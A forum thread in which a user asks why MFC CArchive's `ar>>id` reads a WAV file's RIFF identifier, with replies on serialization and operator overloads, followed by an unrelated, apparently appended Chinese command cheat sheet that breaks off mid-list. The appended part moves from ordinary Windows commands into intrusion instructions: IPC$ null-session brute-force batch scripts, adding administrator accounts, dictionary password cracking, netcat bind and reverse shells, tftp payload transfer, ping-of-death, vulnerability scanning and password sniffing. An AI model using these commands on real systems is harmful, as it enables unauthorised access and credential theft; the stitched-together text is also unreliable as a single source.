为什么象这样一移 ar>>id; 就可读取文件标识符串。

66i88 2009-08-20 01:14:05
找到一段打开 *.wav 文件并读取信息的代码。
但不明白 为什么象这样一移 ar>>id; 就可读取文件标识符串。


typedef DWORD FOURCC; /* a four character code */

void CWaveDiagramDoc::OnOpenwav()
{
// TODO: 在此添加命令处理程序代码
//使用宏进行ASCII到宽字符的转换
USES_CONVERSION;

//创建文件选择对话框
CFileDialog dlg(TRUE,A2CW("wav"),A2CW("*.wav"),OFN_HIDEREADONLY,A2CW("WaveFiles(*.wav)|*.wav||"));

if (dlg.DoModal()==IDOK)
{
//打开文件
CFile file;
CString path=dlg.GetPathName();
file.Open(path,CFile::modeRead );

//创建CArchive对象
CArchive ar(&file,CArchive::load);
FOURCC id,chkLen,dw; //无符号双字节类型
BYTE b; //无符号字节
WORD w; //unsigned short 无符号单字长
WORD fmtTag; //格式标记
WORD wBitsPerSample; //样本位数
FOURCC dwAvgBytesRate; //平均字节率
FOURCC Len; //数据块的字节长度

ar>>id; //读取文件标识符串

if (id!=ID_RIFF) { return; }
ar>>dw>>id; //读取头后文件长度和波形文件标识符
if (id!=ID_WAVE) { return; }
ar>>id; //读取格式块标识符串
if (id!=ID_fmt) { return; }
ar>>chkLen; //读取头后块长度
ar>>fmtTag; //读取格式标记
if (fmtTag!=1) //只处理PCM(Pulse Code Modulation, 脉冲编码调制)情况
{
return;
}

ar>>wChannel; //声道数
ar>>dw; //采样率
ar>>dwAvgBytesRate; //平均字节率
ar>>w; //数据块对齐
ar>>wBitsPerSample; //样本位数
if (chkLen==18)
{
ar>>w; //扩展域大小
for (int i=0;i<w;i++) //读走扩展域的内容
{
ar>>b;
}
}

ar>>id; //读取数据块标识符
if (id==ID_fact) { ar>>dw>>dw; ar>>id; }//如果有fact块,就读取fact块的内容
if (id!=ID_data) { return; }
ar>>Len; //文件长度
BytesPerSample=wBitsPerSample/8; //一个样本的字节数
num=Len/BytesPerSample; //样本数

if (wChannel==1) //单声道
{
data=new LONG[num];

//单字节样本值v为无符号整数(0~255),实际样本值应为v-128;多字节样本值本身就是有符号的,可直接使用
if (BytesPerSample==1)
{
for (int i=0;i<num;i++)
{
ar>>b;
data[i]=b-128;
}
}
else if (BytesPerSample==2)
{
for (int i=0;i<num;i++)
{
ar>>w;
data[i]=(SHORT)w; //无符号转换成有符号数
}
}
else if (BytesPerSample==4)
{
for (int i=0;i<num;i++)
{
ar>>dw;
data[i]=(LONG)dw; //无符号转换成有符号数
}
}
else if (BytesPerSample==3)
{
for (int i=0;i<num;i++)
{
ar>>b>>w;
data[i]=w+b;
}
}
}
else if (wChannel==2) //双声道
{
LData=new LONG[num/2];
RData=new LONG[num/2];

//一个声道的样本数为num/2,左右声道交替采集
if (BytesPerSample==1)
{
for (int i=0;i<num/2;i++)
{
ar>>b;
LData[i]=b-128;
ar>>b;
RData[i]=b-128;
}
}
else if (BytesPerSample==2)
{
for (int i=0;i<num/2;i++)
{
ar>>w;
LData[i]=(SHORT)w;
ar>>w;
RData[i]=(SHORT)w;
}
}
else if (BytesPerSample==4)
{
for (int i=0;i<num/2;i++)
{
ar>>dw;
LData[i]=(LONG)dw;
ar>>dw;
RData[i]=(LONG)dw;
}
}
else if (BytesPerSample==3)
{
for (int i=0;i<num/2;i++)
{
ar>>b>>w;
LData[i]=w+b;
ar>>b>>w;
RData[i]=w+b;
}
}


}
ar.Flush(); //清除缓冲区
file.Close(); //关于文件句柄 

//获取当前活动视图,强制重绘,调用OnDraw函数
CMainFrame *Mainfrm=(CMainFrame*)AfxGetMainWnd();
Mainfrm->GetActiveView()->Invalidate();

//播放声音
//PlaySound(path,NULL,SND_ASYNC);
}
}

...全文
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heiheizh618 2009-08-20
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这是文件串行化相关的知识。
如果楼主需要知道详细原理的话,建议去看看深入浅出MFC。从里面的动态创建看起,看到文件串行化之后就会明白了~~ 这些东西比较多,也比较杂,不是发一个贴就能解释清楚的~
如果不需要知道详细的原理的话,这就类似于C++标准库里面的cin和cout.可通过这两个去大致了解文件串行化Serialization
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操作符重载
friend CArchive& operator >>(
CArchive& ar,
CObject *& pOb
);
throw(
CArchiveException*,
CFileException*,
CMemoryException*
);
friend CArchive& operator >>(
CArchive& ar,
const CObject *& pOb
);
throw(
CArchiveException*,
CFileException*,
CMemoryException*
);
CArchive& AFXAPI operator >>(
CArchive& ar,
const RECT& rect
);
CArchive& AFXAPI operator >>(
CArchive& ar,
POINT point
);
CArchive& AFXAPI operator >>(
CArchive& ar,
SIZE size
);
template<
typename BaseType,
class StringTraits
>
CArchive& operator>>(
ATL::CStringT<
BaseType,
StringTraits
>& str
);
CArchive& operator >>(
BYTE& by
);
CArchive& operator >>(
WORD& w
);
CArchive& operator >>(
int& i
);
CArchive& operator >>(
LONG& l
);
CArchive& operator >>(
DWORD& dw
);
CArchive& operator >>(
float& f
);
CArchive& operator >>(
double& d
);
CArchive& operator >>(
short& w
);
CArchive& operator >>(
char& ch
);
CArchive& operator>>(
wchar_t& ch);
CArchive& operator >>(
unsigned& u
);
CArchive& operator >>(
bool& b
);
CArchive& operator >>(
ULONGLONG& dwdw
);
CArchive& operator >>(
LONGLONG& dwdw
);
zw0558 2009-08-20
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顶一下,学习、
mazm_yanzhu 2009-08-20
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Loads the indicated object or primitive type from the archive.

查查MSDN,CArchive类的用法
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符1==字符2 命令语句 如果指定的文本字符匹配(即:字符1 等于 字符2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符1==字符2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 